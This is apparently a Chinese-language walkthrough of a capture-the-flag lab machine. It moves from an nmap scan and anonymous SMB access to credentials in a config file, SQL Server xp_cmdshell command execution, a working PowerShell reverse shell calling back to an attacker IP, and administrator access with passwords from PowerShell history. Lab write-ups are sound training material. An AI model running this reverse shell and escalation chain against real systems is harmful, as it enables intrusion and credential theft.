哈哈哈哈,躺平了几天,继续更新。。。这篇非常非常详细,慢慢观看。。。
填空
第一题
问:主机上的数据库服务时TCP的哪个端口?
答案:1433.可以通过以下命令扫描得出结果
map -v -sV -sS 10.129.56.120
第二题
问:非管理员的共享的文件夹是什么?
答案:backups。 smbclient可以使用-N -L查看文件夹
smbclient -N -L \\\\10.129.56.120
注意:其中以$结尾的文件夹,都是需要管理员权限的。
第三题
问:smb共享文件夹中的文件上,可能的密码是什么?
答案:M3g4c0rp123
通过smbclient登录进backups文件夹后直接get后在本地打开即可。
如果想进目录,读取文件的话是没用-L的
smbclient -N \\\\10.129.56.120\\backups
第四题
问题:可以使用impacket中的哪个脚本去建立与SQL Server的连接?
答案:mssqlclient.py 既(impacket-mssql)
第五题
问:通过什么能够获取到数据库中执行shell?
答案:xp_cmdshell。这是注入中经常用到的。
第六题
问:可以通过什么脚本来搜索提升windows主机的权限?
答案:winPEAS。这是windows主机一个提权工具
github链接为:https://github.com/carlospolop/PEASS-ng
第七题
第八题
第九题
滤清思路
到这,我们整理一下思路,然后全面复盘。
首先是通过nmap扫描,发现存在1433端口(Mysql),
然后通过smbclient 获取backups账号下的共享文件prod.dtsConfig,
并从中获得MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123
接下来是通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,并(用上MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123)
进入数据库中,查看有无sysadmin权限。
如果有就接着调用数据库的系统命令,获取xp_cmdshell
依次键入以下内容:
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
当我们拥有部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。
先建立一个powershell的反向shell文件,并运行一个http服务和打开nc监听一下4443端口
然后在获取到的sql中执行,实现反shell连接
获取到了shell后,直接命令访问type C:\Users\sql_svc\Desktop\user.txt,能拿到用户的key
接着提升权限,在powershell的历史记录发现账号密码(net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!)
最后在重新impacket-psexec administrator@10.129.56.120进入系统,获得root.txt
完整步骤如下:
信息收集
首先是通过nmap扫描,发现存在1433端口(Mysql),
nmap -v -sV -sS 10.129.56.120
然后通过smbclient 获取backups账号下的共享文件prod.dtsConfig,
smbclient -N -L \\\\10.129.56.120\\
smbclient -N \\\\10.129.56.120\\backups //进入backups
smb: \> dir //查看目录
smb: \> get prod.dtsConfig //下载文件prod.dtsConfig
连接数据库
接下来是通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,并(用上MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123)
impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.56.120
进入数据库中,查看有无sysadmin权限。
SQL> select is_srvrolemember ('sysadmin') //查看有无sysadmin权限。
(显示1就代表有)
如果有就接着调用数据库的系统命令,获取xp_cmdshell
SQL> enable_xp_cmdshell
然后依次键入以下内容:
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
当我们拥有部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。
反弹shell
先建立一个powershell的反向shell文件a.ps1
┌──(root💀kali)-[~/桌面]
└─# vim a.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.29",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
并在此目录下运行一个http服务
python3 -m http.server 80
可以发现a.ps1在其中
和打开nc监听一下4443端口
nc -lvnp 4443
-l 代表监听模式
-v 代表输出详细报告
-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数
-p 指定端口号
然后在获取到的sql中执行,实现反shell连接
此时http服务和nc都有反应
在nc里安回车键出现#代表shell连接成功
# type C:\Users\sql_svc\Desktop\user.txt
获取到了shell后,直接命令访问type C:\Users\sql_svc\Desktop\user.txt,能拿到用户的key
提权
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
回显
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
获得root的账号密码
接着提升权限,在powershell的历史记录发现账号密码(net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!)
最后在重新impacket-psexec administrator@10.129.56.120进入系统,获得root.txt